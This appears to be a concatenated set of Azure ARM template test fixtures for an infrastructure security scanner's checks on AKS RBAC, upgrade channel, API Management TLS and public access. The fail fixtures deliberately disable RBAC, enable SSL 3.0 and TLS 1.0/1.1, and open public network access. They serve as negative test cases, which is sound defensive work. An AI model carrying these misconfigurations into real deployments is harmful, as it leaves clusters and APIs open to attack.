"Standard_DS4_v2", "Standard_DS5_v2", "Standard_F16", "Standard_F16s", "Standard_F2", "Standard_F2s", "Standard_F4", "Standard_F4s", "Standard_F8", "Standard_F8s", "Standard_G1", "Standard_G2" ], "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } }, "kubernetesVersion": { "type": "string", "defaultValue": "1.9.6", "metadata": { "description": "The version of Kubernetes." } }, "httpApplicationRouting": { "type": "bool", "defaultValue": true, "metadata": { "description": "boolean flag to turn on and off of http application routing" } }, "maxNrOfPods": { "type": "int", "defaultValue": 110, "metadata": { "description": "Maximum number of pods that can run on a node." } } }, "variables": { "clusterName": "[parameters('clusterName')]", "adminUsername": "[parameters('linuxAdminUsername')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "agentCount": "[parameters('agentCount')]", "agentVMSize": "[parameters('agentVMSize')]", "dnsPrefix": "[parameters('dnsPrefix')]", "sshRSAPublicKey": "[parameters('sshRSAPublicKey')]", "servicePrincipalClientId": "[parameters('servicePrincipalClientId')]", "servicePrincipalClientSecret": "[parameters('servicePrincipalClientSecret')]", "osType": "[parameters('osType')]", "kubernetesVersion": "[parameters('kubernetesVersion')]" }, "resources": [ { "apiVersion": "2018-03-31", "type": "Microsoft.ContainerService/managedClusters", "location": "[resourceGroup().location]", "name": "[variables('clusterName')]", "tags": { "department": "[parameters('metadata').department]", "projectName": "[parameters('metadata').projectName]", "owner": "[parameters('metadata').owner]", "environment": "[parameters('metadata').environment]" }, "properties": { "kubernetesVersion": "[variables('kubernetesVersion')]", "dnsPrefix": "[variables('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[variables('osDiskSizeGB')]", "count": "[variables('agentCount')]", "vmSize": "[variables('agentVMSize')]", "osType": "[variables('osType')]", "storageProfile": "ManagedDisks", "maxPods": "[parameters('maxNrOfPods')]" } ], "linuxProfile": { "adminUsername": "[variables('adminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[variables('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "ClientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "addonProfiles": { "httpApplicationRouting": { "enabled": "[parameters('httpApplicationRouting')]" } }, "enableRBAC": "false" } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/managedClusters/', variables('clusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSRbacEnabled/aksEnableRbac-FAILED3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "clusterName": { "type": "string", "metadata": { "description": "The name of the Managed Cluster resource. Possible locations: australiaeast,canadacentral,canadaeast,centralus,eastus,northeurope,uksouth,westeurope,westus,westus2" } }, "metadata": { "type": "object", "metadata": { "description": "Metadata for this resource" } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2_v2", "allowedValues": [ "Standard_A10", "Standard_A11", "Standard_A2", "Standard_A2_v2", "Standard_A2m_v2", "Standard_A3", "Standard_A4", "Standard_A4_v2", "Standard_A4m_v2", "Standard_A5", "Standard_A6", "Standard_A7", "Standard_A8", "Standard_A8_v2", "Standard_A8m_v2", "Standard_A9", "Standard_D11", "Standard_D11_v2", "Standard_D12", "Standard_D12_v2", "Standard_D13", "Standard_D13_v2", "Standard_D14", "Standard_D14_v2", "Standard_D15_v2", "Standard_D2", "Standard_D2_v2", "Standard_D3", "Standard_D3_v2", "Standard_D4", "Standard_D4_v2", "Standard_D5_v2", "Standard_DS11", "Standard_DS11_v2", "Standard_DS12", "Standard_DS12_v2", "Standard_DS13", "Standard_DS13_v2", "Standard_DS14", "Standard_DS14_v2", "Standard_DS15_v2", "Standard_DS2", "Standard_DS2_v2", "Standard_DS3", "Standard_DS3_v2", "Standard_DS4", "Standard_DS4_v2", "Standard_DS5_v2", "Standard_F16", "Standard_F16s", "Standard_F2", "Standard_F2s", "Standard_F4", "Standard_F4s", "Standard_F8", "Standard_F8s", "Standard_G1", "Standard_G2" ], "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } }, "kubernetesVersion": { "type": "string", "defaultValue": "1.9.6", "metadata": { "description": "The version of Kubernetes." } }, "httpApplicationRouting": { "type": "bool", "defaultValue": true, "metadata": { "description": "boolean flag to turn on and off of http application routing" } }, "maxNrOfPods": { "type": "int", "defaultValue": 110, "metadata": { "description": "Maximum number of pods that can run on a node." } } }, "variables": { "clusterName": "[parameters('clusterName')]", "adminUsername": "[parameters('linuxAdminUsername')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "agentCount": "[parameters('agentCount')]", "agentVMSize": "[parameters('agentVMSize')]", "dnsPrefix": "[parameters('dnsPrefix')]", "sshRSAPublicKey": "[parameters('sshRSAPublicKey')]", "servicePrincipalClientId": "[parameters('servicePrincipalClientId')]", "servicePrincipalClientSecret": "[parameters('servicePrincipalClientSecret')]", "osType": "[parameters('osType')]", "kubernetesVersion": "[parameters('kubernetesVersion')]" }, "resources": [ { "apiVersion": "2018-03-31", "type": "Microsoft.ContainerService/managedClusters", "location": "[resourceGroup().location]", "name": "[variables('clusterName')]", "tags": { "department": "[parameters('metadata').department]", "projectName": "[parameters('metadata').projectName]", "owner": "[parameters('metadata').owner]", "environment": "[parameters('metadata').environment]" }, "properties": "yo" } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/managedClusters/', variables('clusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSRbacEnabled/aksEnableRbac-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "clusterName": { "type": "string", "metadata": { "description": "The name of the Managed Cluster resource. Possible locations: australiaeast,canadacentral,canadaeast,centralus,eastus,northeurope,uksouth,westeurope,westus,westus2" } }, "metadata": { "type": "object", "metadata": { "description": "Metadata for this resource" } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "metadata": { "description": "Disk size (in GB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." }, "minValue": 0, "maxValue": 1023 }, "agentCount": { "type": "int", "defaultValue": 3, "metadata": { "description": "The number of nodes for the cluster." }, "minValue": 1, "maxValue": 50 }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2_v2", "allowedValues": [ "Standard_A10", "Standard_A11", "Standard_A2", "Standard_A2_v2", "Standard_A2m_v2", "Standard_A3", "Standard_A4", "Standard_A4_v2", "Standard_A4m_v2", "Standard_A5", "Standard_A6", "Standard_A7", "Standard_A8", "Standard_A8_v2", "Standard_A8m_v2", "Standard_A9", "Standard_D11", "Standard_D11_v2", "Standard_D12", "Standard_D12_v2", "Standard_D13", "Standard_D13_v2", "Standard_D14", "Standard_D14_v2", "Standard_D15_v2", "Standard_D2", "Standard_D2_v2", "Standard_D3", "Standard_D3_v2", "Standard_D4", "Standard_D4_v2", "Standard_D5_v2", "Standard_DS11", "Standard_DS11_v2", "Standard_DS12", "Standard_DS12_v2", "Standard_DS13", "Standard_DS13_v2", "Standard_DS14", "Standard_DS14_v2", "Standard_DS15_v2", "Standard_DS2", "Standard_DS2_v2", "Standard_DS3", "Standard_DS3_v2", "Standard_DS4", "Standard_DS4_v2", "Standard_DS5_v2", "Standard_F16", "Standard_F16s", "Standard_F2", "Standard_F2s", "Standard_F4", "Standard_F4s", "Standard_F8", "Standard_F8s", "Standard_G1", "Standard_G2" ], "metadata": { "description": "The size of the Virtual Machine." } }, "linuxAdminUsername": { "type": "string", "defaultValue": "azureuser", "metadata": { "description": "User name for the Linux Virtual Machines." } }, "sshRSAPublicKey": { "type": "string", "metadata": { "description": "Configure all linux machines with the SSH RSA public key string. Your key should include three parts, for example 'ssh-rsa AAAAB...snip...UcyupgH azureuser@linuxvm'" } }, "servicePrincipalClientId": { "metadata": { "description": "Client ID (used by cloudprovider)" }, "type": "securestring" }, "servicePrincipalClientSecret": { "metadata": { "description": "The Service Principal Client Secret." }, "type": "securestring" }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux" ], "metadata": { "description": "The type of operating system." } }, "kubernetesVersion": { "type": "string", "defaultValue": "1.9.6", "metadata": { "description": "The version of Kubernetes." } }, "httpApplicationRouting": { "type": "bool", "defaultValue": true, "metadata": { "description": "boolean flag to turn on and off of http application routing" } }, "enableRBAC": { "type": "bool", "defaultValue": true, "metadata": { "description": "Enable RBAC on the cluster" } }, "maxNrOfPods": { "type": "int", "defaultValue": 110, "metadata": { "description": "Maximum number of pods that can run on a node." } } }, "variables": { "clusterName": "[parameters('clusterName')]", "adminUsername": "[parameters('linuxAdminUsername')]", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "agentCount": "[parameters('agentCount')]", "agentVMSize": "[parameters('agentVMSize')]", "dnsPrefix": "[parameters('dnsPrefix')]", "sshRSAPublicKey": "[parameters('sshRSAPublicKey')]", "servicePrincipalClientId": "[parameters('servicePrincipalClientId')]", "servicePrincipalClientSecret": "[parameters('servicePrincipalClientSecret')]", "osType": "[parameters('osType')]", "kubernetesVersion": "[parameters('kubernetesVersion')]" }, "resources": [ { "apiVersion": "2018-03-31", "type": "Microsoft.ContainerService/managedClusters", "location": "[resourceGroup().location]", "name": "[variables('clusterName')]", "tags": { "department": "[parameters('metadata').department]", "projectName": "[parameters('metadata').projectName]", "owner": "[parameters('metadata').owner]", "environment": "[parameters('metadata').environment]" }, "properties": { "kubernetesVersion": "[variables('kubernetesVersion')]", "dnsPrefix": "[variables('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[variables('osDiskSizeGB')]", "count": "[variables('agentCount')]", "vmSize": "[variables('agentVMSize')]", "osType": "[variables('osType')]", "storageProfile": "ManagedDisks", "maxPods": "[parameters('maxNrOfPods')]" } ], "linuxProfile": { "adminUsername": "[variables('adminUsername')]", "ssh": { "publicKeys": [ { "keyData": "[variables('sshRSAPublicKey')]" } ] } }, "servicePrincipalProfile": { "ClientId": "[parameters('servicePrincipalClientId')]", "Secret": "[parameters('servicePrincipalClientSecret')]" }, "addonProfiles": { "httpApplicationRouting": { "enabled": "[parameters('httpApplicationRouting')]" } }, "enableRBAC": "[parameters('enableRBAC')]" } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(concat('Microsoft.ContainerService/managedClusters/', variables('clusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSUpgradeChannel/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2022-01-02-preview", "name": "fail", "location": "[parameters('location')]", "tags": { "displayname": "AKS Cluster" }, "identity": { "type": "SystemAssigned" }, "properties": { "enableRBAC": true, "dnsPrefix": "[parameters('dnsPrefix')]", "autoUpgradeProfile": { "upgradeChannel": "none" }, "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "type": "VirtualMachineScaleSets", "mode": "System" } ] } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSUpgradeChannel/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2022-01-02-preview", "name": "fail1", "location": "[parameters('location')]", "tags": { "displayname": "AKS Cluster" }, "identity": { "type": "SystemAssigned" }, "properties": { "enableRBAC": true, "dnsPrefix": "[parameters('dnsPrefix')]", "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "type": "VirtualMachineScaleSets", "mode": "System" } ] } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_AKSUpgradeChannel/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.5.6.12127", "templateHash": "12705365244308198684" } }, "parameters": { "aksClusterName": { "type": "string", "defaultValue": "aks101cluster-vmss", "metadata": { "description": "The name of the Managed Cluster resource." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The location of AKS resource." } }, "dnsPrefix": { "type": "string", "metadata": { "description": "Optional DNS prefix to use with hosted Kubernetes API server FQDN." } }, "osDiskSizeGB": { "type": "int", "defaultValue": 0, "maxValue": 1023, "minValue": 0, "metadata": { "description": "Disk size (in GiB) to provision for each of the agent pool nodes. This value ranges from 0 to 1023. Specifying 0 will apply the default disk size for that agentVMSize." } }, "agentCount": { "type": "int", "defaultValue": 3, "maxValue": 100, "minValue": 1, "metadata": { "description": "The number of nodes for the cluster. 1 Node is enough for Dev/Test and minimum 3 nodes, is recommended for Production" } }, "agentVMSize": { "type": "string", "defaultValue": "Standard_D2s_v3", "metadata": { "description": "The size of the Virtual Machine." } }, "osType": { "type": "string", "defaultValue": "Linux", "allowedValues": [ "Linux", "Windows" ], "metadata": { "description": "The type of operating system." } } }, "resources": [ { "type": "Microsoft.ContainerService/managedClusters", "apiVersion": "2022-01-02-preview", "name": "pass", "location": "[parameters('location')]", "tags": { "displayname": "AKS Cluster" }, "identity": { "type": "SystemAssigned" }, "properties": { "enableRBAC": true, "dnsPrefix": "[parameters('dnsPrefix')]", "autoUpgradeProfile": { "upgradeChannel": "stable" }, "agentPoolProfiles": [ { "name": "agentpool", "osDiskSizeGB": "[parameters('osDiskSizeGB')]", "count": "[parameters('agentCount')]", "vmSize": "[parameters('agentVMSize')]", "osType": "[parameters('osType')]", "type": "VirtualMachineScaleSets", "mode": "System" } ] } } ], "outputs": { "controlPlaneFQDN": { "type": "string", "value": "[reference(resourceId('Microsoft.ContainerService/managedClusters', parameters('aksClusterName'))).fqdn]" } } } ================================================ FILE: tests/arm/checks/resource/example_APIManagementMinTLS12/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.54.24096", "templateHash": "15176578550391235821" } }, "parameters": { "publisherEmail": { "type": "string", "minLength": 1, "metadata": { "description": "The email address of the owner of the service" } }, "publisherName": { "type": "string", "minLength": 1, "metadata": { "description": "The name of the owner of the service" } }, "sku": { "type": "string", "defaultValue": "Developer", "allowedValues": [ "Consumption", "Developer", "Basic", "Basicv2", "Standard", "Standardv2", "Premium" ], "metadata": { "description": "The pricing tier of this API Management service" } }, "skuCount": { "type": "int", "defaultValue": 1, "allowedValues": [ 0, 1, 2 ], "metadata": { "description": "The instance size of this API Management service." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "resources": [ { "type": "Microsoft.ApiManagement/service", "apiVersion":"2023-05-01-preview", "name": "fail", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "publisherEmail": "[parameters('publisherEmail')]", "publisherName": "[parameters('publisherName')]", "customProperties":{ "Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Backend.Protocols.Ssl30": true } } }, { "type": "Microsoft.ApiManagement/service", "apiVersion": "2023-05-01-preview", "name": "fail2", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "publisherEmail": "[parameters('publisherEmail')]", "publisherName": "[parameters('publisherName')]", "customProperties":{ "Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Backend.Protocols.Tls10": true } } }, { "type": "Microsoft.ApiManagement/service", "apiVersion": "2023-05-01-preview", "name": "fail3", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "publisherEmail": "[parameters('publisherEmail')]", "publisherName": "[parameters('publisherName')]", "customProperties":{ "Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Ssl30": true } } }, { "type": "Microsoft.ApiManagement/service", "apiVersion": "2023-05-01-preview", "name": "fail4", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "publisherEmail": "[parameters('publisherEmail')]", "publisherName": "[parameters('publisherName')]", "customProperties":{ "Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Tls10": true } } }, { "type": "Microsoft.ApiManagement/service", "apiVersion": "2023-05-01-preview", "name": "fail5", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "publisherEmail": "[parameters('publisherEmail')]", "publisherName": "[parameters('publisherName')]", "customProperties":{ "Microsoft.WindowsAzure.ApiManagement.Gateway.Security.Protocols.Tls11": true } } } ] } ================================================ FILE: tests/arm/checks/resource/example_APIManagementMinTLS12/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.26.54.24096", "templateHash": "15176578550391235821" } }, "parameters": { "publisherEmail": { "type": "string", "minLength": 1, "metadata": { "description": "The email address of the owner of the service" } }, "publisherName": { "type": "string", "minLength": 1, "metadata": { "description": "The name of the owner of the service" } }, "sku": { "type": "string", "defaultValue": "Developer", "allowedValues": [ "Consumption", "Developer", "Basic", "Basicv2", "Standard", "Standardv2", "Premium" ], "metadata": { "description": "The pricing tier of this API Management service" } }, "skuCount": { "type": "int", "defaultValue": 1, "allowedValues": [ 0, 1, 2 ], "metadata": { "description": "The instance size of this API Management service." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "resources": [ { "type": "Microsoft.ApiManagement/service", "apiVersion": "2023-05-01-preview", "name": "pass", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "publisherEmail": "[parameters('publisherEmail')]", "publisherName": "[parameters('publisherName')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_APIManagementPublicAccess/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.20.4.51522", "templateHash": "6577944355650859703" } }, "parameters": { "publisherEmail": { "type": "string", "minLength": 1, "metadata": { "description": "The email address of the owner of the service" } }, "publisherName": { "type": "string", "minLength": 1, "metadata": { "description": "The name of the owner of the service" } }, "sku": { "type": "string", "defaultValue": "Developer", "allowedValues": [ "Basic", "Consumption", "Developer", "Standard", "Premium" ], "metadata": { "description": "The pricing tier of this API Management service" } }, "skuCount": { "type": "int", "defaultValue": 1, "metadata": { "description": "The instance size of this API Management service." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "resources": [ { "type": "Microsoft.ApiManagement/service", "apiVersion": "2021-08-01", "name": "fail", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "administratorLogin": "jonasAdmin", "version": "12.0", "state": "Ready", "fullyQualifiedDomainName": "jonas.database.windows.net", "privateEndpointConnections": [], "minimalTlsVersion": "None", "restrictOutboundNetworkAccess": "Disabled" }, "identity": { "type": "SystemAssigned" } }, { "type": "Microsoft.ApiManagement/service", "apiVersion": "2021-08-01", "name": "fail2", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "administratorLogin": "jonasAdmin", "version": "12.0", "state": "Ready", "fullyQualifiedDomainName": "jonas.database.windows.net", "privateEndpointConnections": [], "minimalTlsVersion": "None", "publicNetworkAccess": "Enabled", "restrictOutboundNetworkAccess": "Disabled" }, "identity": { "type": "SystemAssigned" } } ] } ================================================ FILE: tests/arm/checks/resource/example_APIManagementPublicAccess/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.20.4.51522", "templateHash": "6577944355650859703" } }, "parameters": { "publisherEmail": { "type": "string", "minLength": 1, "metadata": { "description": "The email address of the owner of the service" } }, "publisherName": { "type": "string", "minLength": 1, "metadata": { "description": "The name of the owner of the service" } }, "sku": { "type": "string", "defaultValue": "Developer", "allowedValues": [ "Basic", "Consumption", "Developer", "Standard", "Premium" ], "metadata": { "description": "The pricing tier of this API Management service" } }, "skuCount": { "type": "int", "defaultValue": 1, "metadata": { "description": "The instance size of this API Management service." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "resources": [ { "type": "Microsoft.ApiManagement/service", "apiVersion": "2021-08-01", "name": "pass", "location": "[parameters('location')]", "sku": { "name": "[parameters('sku')]", "capacity": "[parameters('skuCount')]" }, "properties": { "administratorLogin": "jonasAdmin", "version": "12.0", "state": "Ready", "fullyQualifiedDomainName": "jonas.database.windows.net", "privateEndpointConnections": [], "minimalTlsVersion": "None", "publicNetworkAccess": "Disabled", "restrictOutboundNetworkAccess": "Disabled" }, "identity": { "type": "SystemAssigned" } } ] } ================================================ FILE: tests/arm/checks/resource/example_APIServicesUseVirtualNetwork/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apimName": { "type": "string" }, "location": { "type": "string" }, "tier": { "type": "string" }, "capacity": { "type": "string" }, "adminEmail": { "type": "string" }, "organizationName": { "type": "string" }, "virtualNetworkType": { "type": "string" }, "tagsByResource": { "type": "object" }, "vnet": { "type": "object" }, "customProperties": { "type": "object" }, "identity": { "type": "object" }, "appInsightsObject": { "type": "object" }, "privateEndpoint": { "type": "object" }, "privateDnsDeploymentName": { "type": "string" }, "subnetDeploymentName": { "type": "string" } }, "variables": { "apimNsgName": "[concat('apimnsg', uniqueString(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.ApiManagement/service", "apiVersion": "2021-01-01-preview", "name": "fail", "location": "[parameters('location')]", "sku": { "name": "[parameters('tier')]", "capacity": "[parameters('capacity')]" }, "identity": "[parameters('identity')]", "tags": "[parameters('tagsByResource')]", "properties": { "publisherEmail": "[parameters('adminEmail')]", "publisherName": "[parameters('organizationName')]", "customProperties": "[parameters('customProperties')]" }, "resources": [], "dependsOn": [] } ] } ================================================ FILE: tests/arm/checks/resource/example_APIServicesUseVirtualNetwork/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "apimName": { "type": "string" }, "location": { "type": "string" }, "tier": { "type": "string" }, "capacity": { "type": "string" }, "adminEmail": { "type": "string" }, "organizationName": { "type": "string" }, "virtualNetworkType": { "type": "string" }, "tagsByResource": { "type": "object" }, "vnet": { "type": "object" }, "customProperties": { "type": "object" }, "identity": { "type": "object" }, "appInsightsObject": { "type": "object" }, "privateEndpoint": { "type": "object" }, "privateDnsDeploymentName": { "type": "string" }, "subnetDeploymentName": { "type": "string" } }, "variables": { "apimNsgName": "[concat('apimnsg', uniqueString(resourceGroup().id))]" }, "resources": [ { "type": "Microsoft.Network/virtualNetworks", "apiVersion": "2020-04-01", "name": "[parameters('vnet').name]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": "[parameters('vnet').addressPrefixes]" }, "subnets": [ { "name": "[parameters('vnet').selectedSubnetName]", "properties": { "addressPrefix": "[parameters('vnet').selectedSubnetAddressPrefix]", "networkSecurityGroup": { "id": "[resourceId('Microsoft.Network/networkSecurityGroups', variables('apimNsgName'))]" } } } ] }, "dependsOn": [ "[resourceId('Microsoft.Network/networkSecurityGroups', variables('apimNsgName'))]" ] }, { "type": "Microsoft.Network/networkSecurityGroups", "name": "[variables('apimNsgName')]", "apiVersion": "2020-06-01", "location": "[parameters('location')]", "properties": { "securityRules": [ { "name": "Client_communication_to_API_Management", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "80", "sourceAddressPrefix": "Internet", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", "priority": 100, "direction": "Inbound" } }, { "name": "Secure_Client_communication_to_API_Management", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "443", "sourceAddressPrefix": "Internet", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", "priority": 110, "direction": "Inbound" } }, { "name": "Management_endpoint_for_Azure_portal_and_Powershell", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "3443", "sourceAddressPrefix": "ApiManagement", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", "priority": 120, "direction": "Inbound" } }, { "name": "Dependency_on_Redis_Cache", "properties": { "protocol": "Tcp", "sourcePortRange": "*", "destinationPortRange": "6381-6383", "sourceAddressPrefix": "VirtualNetwork", "destinationAddressPrefix": "VirtualNetwork", "access": "Allow", 